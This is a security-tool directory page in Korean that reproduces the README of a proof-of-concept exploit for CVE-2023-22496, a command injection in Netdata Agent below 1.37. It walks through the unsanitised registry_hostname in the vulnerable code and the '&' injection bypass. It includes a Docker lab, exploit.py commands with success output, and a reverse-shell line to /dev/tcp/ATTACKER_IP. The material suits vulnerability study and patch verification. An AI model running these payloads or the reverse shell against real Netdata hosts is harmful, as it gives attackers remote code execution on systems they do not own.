Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-22496-PoC — CVE-2023-22496에 대한 PoC: Netdata Agent <1.37에서 registry_hostname을 통한 OS 명령어 삽입 | Kitploit
도구/GitHubGitHub/jstjep00/cve-2023-22496-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationLabs & Practice
GitHubjstjep00/cve-2023-22496-poc

CVE-2023-22496-PoC

CVE-2023-22496에 대한 PoC: Netdata Agent <1.37에서 registry_hostname을 통한 OS 명령어 삽입

저장소 보기
132개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-22496 — Netdata Agent OS Command Injection PoC

심각도: 치명적 (CVSS 9.8)
영향받는 버전: Netdata Agent < 1.37.0
수정 버전: v1.37.0
유형: OS Command Injection (CWE-78)


개요

CVE-2023-22496은 Netdata의 health 알림 시스템에서 발생하는 OS 명령어 삽입 취약점입니다. 스트리밍 체인의 모든 노드에 있는 registry_hostname이 셸 명령어에 삽입될 때 정제(sanitisation)되지 않습니다. Netdata 구성 파일에서 registry hostname을 설정할 수 있는 공격자는 알림을 처리하는 모든 상위 노드에서 **netdata 프로세스 사용자 권한으로 원격 코드 실행(RCE)**을 달성할 수 있습니다.


취약점 상세

취약한 코드 — health/health.c

root@kitploit:~
static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // 예: "root"
        host->registry_hostname,     // ← 정제 없음 — 공격자 제어 가능
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // /bin/sh를 통해 실행
    ...
}

spawn_enq_cmd는 문자열을 /bin/sh -c에 전달하여 셸로 해석합니다. registry_hostname이 전혀 정제되지 않으므로 공격자는 임의의 셸 명령어를 삽입할 수 있습니다.

우회 기법: exec 프로세스 대체

단순한 삽입 `'; cmd; '`은 작동하지 않습니다. exec 셸 빌트인이 현재 셸 프로세스를 대체하므로 삽입된 ;cmd;에 도달하지 못하기 때문입니다.

작동하는 우회 기법 — & (백그라운드 연산자) 사용:

root@kitploit:~
# Netdata가 구성한 명령어 (삽입 후):
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# 실행 흐름:
#   exec alarm-notify.sh 'root' 'x' &   → 백그라운드 실행; 셸은 유지됨
#   touch /tmp/pwned &                   → 셸이 이 명령어를 실행; 파일 생성됨
#   #                                    → 나머지는 주석 처리되어 무시됨

스트리밍 공격 체인

root@kitploit:~
┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (공격자)    │          │  (릴레이)    │          │   (희생자/타깃)      │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() 실행
                                              주입된 registry_hostname 사용
                                              → agent_parent에서 RCE

공격자는 스트리밍 체인에서 하나의 노드만 제어하면 됩니다. registry_hostname은 스트림 프로토콜을 통해 전파되며, 모든 상위 노드가 health_alarm_execute를 호출할 때 그대로 사용합니다.


저장소 구조

root@kitploit:~
CVE-2023-22496-PoC/
├── Dockerfile              # netdata-vuln:v1.36.1 이미지를 소스에서 빌드
├── docker-compose.yaml     # 3노드 취약한 스트리밍 환경
├── exploit.py              # 독립 실행형 익스플로잇 스크립트
├── config/
│   ├── parent_netdata.conf # 상위 노드 설정 (쓰기 가능 — 익스플로잇이 덮어씀)
│   ├── parent_stream.conf  # 상위 노드가 스트림 수락 및 health 평가
│   ├── parent_guid         # 고정 노드 GUID
│   ├── middle_netdata.conf # 중간 릴레이 설정
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # 하위 발신자 설정
│   ├── child_stream.conf
│   └── child_guid
└── README.md

빠른 시작

사전 요구사항

  • Docker ≥ 20.10
  • Docker Compose v2 (docker compose)
  • Python 3.8+
  • 약 500MB 디스크 (이미지 빌드)
  • Docker 빌드를 위한 인터넷 접속 (Netdata v1.36.1 소스 다운로드)

1단계 — 취약한 Docker 이미지 빌드

root@kitploit:~
git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# 빌드는 약 5~15분 소요 (Netdata 소스 컴파일)
docker build -t netdata-vuln:v1.36.1 .

2단계 — 3노드 취약한 환경 시작

root@kitploit:~
docker compose up -d

Netdata가 초기화될 때까지 약 15초 기다린 후 확인:

root@kitploit:~
# 상위 웹 UI에서 HTTP 200 반환 확인
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# 예상 결과: "version": "v1.36.1-..."

3단계 — 익스플로잇 실행

root@kitploit:~
# 기본 동작: 타깃(agent_parent)에 /tmp/pwned 생성
python3 exploit.py "touch /tmp/pwned"

# 확인
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

예상 출력:

root@kitploit:~
======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

리버스 셸 예시

root@kitploit:~
# 리스너 머신에서:
nc -lvnp 4444

# 익스플로잇 실행 (ATTACKER_IP를 실제 IP로 변경):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

사용자 정의 명령어

root@kitploit:~
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

환경 정리

root@kitploit:~
# 컨테이너와 볼륨 중지 및 제거
docker compose down -v

# 이미지 제거
docker rmi netdata-vuln:v1.36.1

완화 조치

조치상세
업그레이드Netdata Agent를 v1.37.0 이상으로 업데이트
접근 제한netdata.conf에 대한 쓰기 접근 제한
네트워크스트리밍 포트(19999/tcp)를 신뢰할 수 있는 네트워크로만 격리
확인netdata --version — v1.37.0 이전 버전이 아닌지 확인

v1.37.0의 수정 사항은 registry_hostname에 대해 [a-zA-Z0-9._-] 외의 문자를 거부하도록 정제하는 것입니다. 이후 셸 명령어에 삽입됩니다.


참고 자료

  • NVD — CVE-2023-22496
  • GitHub Security Advisory GHSA-qxg7-jvq3-7x6h
  • Netdata 수정 커밋
  • Netdata v1.37.0 릴리스

면책 조항

이 저장소는 교육 목적 및 공인된 보안 연구 목적으로만 제공됩니다. 본 PoC를 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대해 실행하는 것은 불법입니다. 작성자는 오용에 대한 책임을 지지 않습니다.

도구 다운로드